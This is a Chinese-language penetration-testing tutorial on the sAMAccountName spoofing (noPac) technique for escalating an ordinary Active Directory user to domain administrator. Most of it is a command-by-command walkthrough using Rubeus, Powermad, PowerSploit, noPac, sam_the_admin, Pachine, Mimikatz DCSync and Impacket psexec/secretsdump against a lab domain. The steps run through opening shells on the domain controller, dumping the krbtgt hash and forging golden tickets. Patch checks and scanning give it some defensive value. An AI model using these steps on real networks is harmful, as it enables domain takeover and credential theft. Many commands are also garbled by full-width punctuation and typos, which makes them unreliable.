域升级——sAMAccountName欺骗技术

与标准用户帐户相比,机器帐户会在名称末尾附加 $ 符号 。在默认情况下,Microsoft 操作系统缺乏安全控制和加固措施,难以防御某些攻击 。此外,多年来的事实证明,Windows 生态系统中许多事情的工作方式可能会通过利用现有的功能和工作流来加以滥用 。
举例来说,active directory 中的每个帐户都会在 “SamAccountName” 属性中提供名称 。但是,它却没有提供防止被滥用的措施,因此任何拥有机器帐户的用户都可以修改该值 。这个值被修改后,可以用来冒充域上的其他帐户,如域控制器的机器帐户 。Charlie Clark是第一个详细介绍如何将这些漏洞武器化的人 。
【域升级——sAMAccountName欺骗技术】在申请服务票证之前,需要先签发票证授予票证(TGT) 。当为密钥分发中心 ( KDC ) 中不存在的帐户请求服务票证时,密钥分发中心将跟踪搜索,并在该帐户上附加 $ 符号 。结合这种行为和对 “SamAccountName” 属性缺乏控制的事实,渗透测试人员可以利用这一点进行域升级 。具体地说,可以请求域控制器帐户的票证授予票证,并且在任何服务票证请求之前恢复 “SamAccountName” 属性值将强制 KDC 搜索域控制器的机器帐户,并代表域管理员发出提权的服务票证 。
要想利用该漏洞进行域升级,用户必须具有机器帐户的权限,只有这样才能修改 “SamAccountName” 和 “ServicePrincipalName” 属性 。一般来说,可以创建机器帐户的用户,都拥有修改这些属性所需的特权 。在默认情况下,域用户的机器帐户配额设置为 10,这表示允许用户在域上创建机器帐户数量 。或者,攻击者也可以从作为机器帐户所有者的帐户的角度发动进攻 。利用 “SamAccountName” 执行域升级包括以下步骤:
创建一个机器账户
清除 “servicePrincipalName” 属性
修改机器账户的 “sAMAccountName” 属性,以指向没有 $ 符号的域控制器名称
为域控制器账户申请一个 TGT
将 “sAMAccountName” 属性恢复为原始值或任何其他值
使用 S4U2self 方法请求一个服务票据
冒充域管理员账户接收服务票据
下图演示了 “sAMAccountName” 冒充技术的具体步骤 。
sAMAccountName 欺骗
检测漏洞
微软已经发布了补丁,以防止攻击者成功利用该漏洞 。然而,在很多情况下,补丁并没有及时应用,这就创造了一个时间窗口,使得这种技术可以在渗透测试中加以利用 。该技术的先决条件如下所示:
1、没有安装 KB5008380 和 KB5008602 安全补丁的域控制器
2、有效的域用户帐户
3、机器帐户配额大于 0
由于这个过程需要访问内部网络,因此,假定攻击者已经获得了低权限的帐户 。如上所述,机器帐户配额默认为 10,因此唯一的要求是识别系统是否应用了补丁 。这并非难事,可以通过请求没有域用户帐户的 PAC 的票证授予票证并观察 base64 票证大小(与使用 PAC 发出的票证相比要更小)来实现 。Rubeus 可以与 /nopac 开关一起使用,以请求已知凭据的域帐户的 TGT 。
Rubeus 。exe asktgt /user:pentestlab /password:Password1234 /domain:purple 。lab /dc:dc 。purple 。lab /nopac /nowrap
通过 Rubeus 检测 sAMAccountName 欺骗漏洞
从票据大小来看,可以认为域控制器是易受攻击的,因为票证没有随 PAC 一起发出 。
没有 PAC 时 Rubeus 票据的大小
另外,C# 工具noPac可用于检索网络上所有可用域控制器的 TGT 票证 。该工具是基于 Rubeus 的,因为它使用库 “Rubeus 。lib 。Interop 。LUID” 来获取票证 。票证的大小可以确定 KDC 是否发出了没有 PAC 的票证 。
noPAC 。exe scan -domain purple 。lab -user pentestlab -pass Password1234
noPac 扫描器
如果通过 PowerShell 控制台进行操作的话,可以借助于Shitsecure开发的一个 PowerShell 脚本 “Invoke-noPac” ——它可以将。NET 程序集 noPac 嵌入 base64 中 。由于该工具实际上就是 noPac,所以可以使用同样的参数来检索票证 。
Import-Module。Invoke-noPAC 。ps1
Invoke-noPAC -command “scan -domain purple 。lab -user pentestlab -pass Password1234”
扫描 PowerShell
手动方式
实际上,现在已经有各种各样的工具和脚本,可以帮助我们从加入域和没有加入域的系统中自动完成上述任务 。但是,在深入研究自动化之前,了解如何使用现有工具组手动完成漏洞利用是非常重要的 。通过活动目录创建机器帐户对于渗透测试人员来说并不陌生,因为在基于资源的受限委托期间也可以使用它 。Kevin Robertson 开发了一个名为 Powermad 的PowerShell 模块,该模块提供了在域上创建机器帐户的功能 。
New-MachineAccount -MachineAccount “PentestLab” -Domain “purple 。lab” -DomainController “dc 。purple 。lab”
创建机器账户
使用 PowerSploit 的 “Set-DomainObject” 从已创建的机器帐户中删除服务主体名称值非常方便:
Set-DomainObject “CN=PentestLab,CN=Computers,DC=purple,DC=lab” -Clear “serviceprincipalname”
清除 SPN
通过 Powermad 和 “SetMachineAccountAttribute” 函数,也可以修改 “SamAccountName” 属性值以使其指向域控制器主机名:
Set-MachineAccountAttribute -MachineAccount “PentestLab” -Value “dc” -Attribute “samaccountname”
重命名 sAMAccountName
查看活动目录中的属性,可以看到新机器帐户的值现在指向 “dc”,因此这个帐户能够冒充域控制器 。
我们可以通过查询域控制器来验证属性 “sAMAccountName” 是否已被修改 。此外,PowerSploit 中的 “GetDomainComputer” 函数可以用来枚举域上机器帐户的属性 。
Get-DomainComputer “CN=Pentestlab,CN=Computers,DC=purple,DC=lab” -Domain purple 。lab -Server dc 。purple 。lab | select samaccountname
检索 sAMAccountName
当涉及到 Kerberos 的操作时,Rubeus是一个标准工具 。由于 sam 账户的名称已经修改,所以,它现在可以从标准用户的上下文中为 dc 账户申请票证授予票证 。
。Rubeus 。exe asktgt /user:”dc” /password:”Password123″ /domain:”purple 。lab” /dc:”dc 。purple 。lab” /nowrap
检索 TGT
下面,我们需要把 sam 帐户名属性恢复到其原始值或任何其他值,否则无法发出服务票证 。
Set-MachineAccountAttribute -MachineAccount “PentestLab” -Value “PentestLab$” -Attribue samaccountname
恢复 sAMAccountName
由于 TGT 已经存储在内存中,所以,现在可以使用 kerberos 扩展 “s4u2self” 以域管理员的身份来请求服务票证 。由于原始票证属于 dc 用户,而 sam 帐户名已重命名,即该用户已经不存在,所以,Kerberos 将查找 dc$,这是一个有效的机器帐户,并为请求的服务发出票证 。
。/Rubeus 。exe s4u /self /impersonateuser:”Administrator” /altservice:”cifs/dc 。purple 。lab” /dc:”dc 。purple 。lab” /ptt /ticket: [ Base64 TGT ]
请求服务票证
我们可以在现有会话中执行 Mimikatz,以便通过 DCSync 技术转储 “krbtgt” 帐户的哈希值,从而创建黄金票证 。
lsadump::dcsync /domain:purple 。lab /kdc:dc 。purple 。lab /user:krbtgt
DCSync
自动化方式
基于 sAMAccountName 欺骗的渗透测试,也可以使用由 Cube0x0 开发的 C# 工具 noPac 直接从内存中自动完成 。为此,我们可以执行下面的命令,创建一个具有指定密码的机器帐户,并将获得 “CIFS” 服务的服务票证,该服务票证将被传递到内存中 。
noPac 。exe -domain purple 。lab -user pentestlab -pass Password1234 /dc dc 。purple 。lab /mAccount pentestlaboratories /mPassword Password123 /service cifs /ptt
noPac
以下命令可用于验证域升级的情况,因为标准用户可以枚举域控制器上 C$ 文件夹的内容 。
dir dc 。purple 。labc$
验证域升级
类似地,如果初始 implant 是基于 PowerShell 的,则可以在 Invoke-noPac 脚本中使用相同的命令行参数 。正如上面所说的那样,它实际上是 noPac C# 工具的包装器 。
Invoke-noPac -command “-domain purple 。lab -user pentestlab -pass Password1234 /dc dc 。purple 。lab /mAccount pentestlab /mPassword Password123 /service cifs /ptt”
noPac PowerShell
访问域控制器的 C$ 文件夹可以验证缓存到内存中的服务票证是否已经升级 。
验证服务票证是否已经升级
扩展到非域机器
该技术的相同原理,也可以应用到未连接到域的系统上 。Hossam Hamed 发布了一个名为 “sam the admin” 的 python 脚本,它模拟了这种攻击 。最初,该脚本将尝试列举 “ms-DS-MachineAccountQuota” 属性,以确定是否可以在域中添加新的机器 。然后,将用随机密码创建一个机器账户 。新机器账户的 “sAMAccountName” 属性将被修改为包含域控制器机器账户的值 。然后,请求一个升级的票证并保存到缓存中 。最后,”sAMAccountName” 属性的原始值将被恢复,并使用 Impacket 套件中的 “smbexec” 建立到域控制器的会话,并使用缓存的票证 。
python3 sam_the_admin 。py “purple/pentestlab:Password1234” -dc-ip 10 。0 。0 。1 -shell
sam the admin shell
该脚本包含一个标志,可用于在后台利用 “secretsdump” 来转储域哈希值 。
python3 sam_the_admin 。py “purple/pentestlab:Password1234” -dc-ip 10 。0 。0 。1 -dump
sam the admin dump
这些哈希值可用于脱机破解,以便识别正在使用的弱密码,并确定客户端的密码策略是否足够强、是否符合行业标准或是否需要进一步评估 。此外,由于 “krbtgt” 帐户的哈希值是可见的,可以为域持久化创建一个黄金票证 。
转储域哈希值
Oliver Lyak发布了一个类似的 python 脚本,它既可以用于扫描域控制器以识别易受攻击的主机,又可用于检索授予服务票证的票证 。
python3 pachine 。py -dc-host dc 。purple 。lab -scan ‘purple 。lab/pentestlab:Password1234’
Pachine 扫描器
对易受攻击的域控制器执行以下命令,就可以创建一个具有随机密码的机器帐户,以获取票证授予票证 。然后,重命名机器帐户名称,并使用 S4U2self 检索服务票证,并将其保存在本地,以供属于 ” 域管理员 ” 组的管理员用户使用 。
python3 pachine 。py -dc-host dc 。purple 。lab -spn cifs/dc 。purple 。lab -impersonate administrator ‘purple 。lab/pentestlab:Password1234’
利用 Pachine 获取票证
可以使用 “export krb5ccname” 和存储票证的路径将票证导入 Kerberos 缓存 。由于票证现在是从当前控制台导入的,因此,Impacket”psexec” 可以与 Kerberos 身份验证一起使用,以便访问域控制器 。
export KRB5CCNAME=administrator@purple 。lab 。ccache
impacket-psexec -k -no-pass ‘purple 。lab/administrator@dc 。purple 。lab’
PsExec
通过一个基于 python 脚本 “sam the admin” 的工具来实现该技术也是可行的,这个脚本名为 noPac 。这个扫描器脚本将枚举 “ms-DS-MachineAccountQuota” 属性,并尝试从所有可用的域控制器获得票证授予票证 。票证大小也将显示在控制台中,以便快速识别易受攻击的目标 。在下面的示例中,与主机 10 。0 。0 。1 相比,在没有 PAC 的情况下接收的两个票证相对较小,所以,主机 10 。0 。0 。1 发出的是一个带有 PAC 的票证 。
python3 scanner 。py purple 。lab/pentestlab:’Password1234′ -dc-ip 10 。0 。0 。1
这个脚本可以根据活动的需要用各种参数执行 。只需指定一个域用户的凭证和域控制器的 IP 地址就可以发动攻击,直到检索到一个升级的票证为止 。
python3 noPac 。py purple 。lab/pentestlab:’Password1234′ -dc-ip 10 。0 。0 。1
sAMAccountName Spoofing – 通过 noPac 检索服务票证
sAMAccountName Spoofing – noPac
只要附加 “-shell” 和 “-impersonate” 标志,便可以在域控制器上建立会话 。
python3 noPac 。py purple 。lab/pentestlab:’Password1234′ -dc-ip 10 。0 。0 。1 -dc-ost dc -shell –impersonate administrator
冒充 Administrator
类似地,”-dump” 标志可用于从域用户的 ntds 。dit 秘密中检索哈希值 。由于已经通过 Kerberos 票证实现了域管理员访问权限,因此,可以获取 “krbtgt” 帐户的哈希值,以便建立域的持久性访问 。
python3 noPac 。py purple 。lab/pentestlab:’Password1234′ -dc-ip 10 。0 。0 。1 -dc-host dc –impersonate administrator -dump -just-dc-user purple/krbtgt
转储 krbtgt 的哈希值
演示视频可以从这里查看 。
参考资料
https://exploit 。ph/cve-2021-42287-cve-2021-42278-weaponisation 。html
https://exploit 。ph/more-samaccountname-impersonation 。html
https://github 。com/WazeHell/sam-the-admin
https://github 。com/cube0x0/noPac

    推荐阅读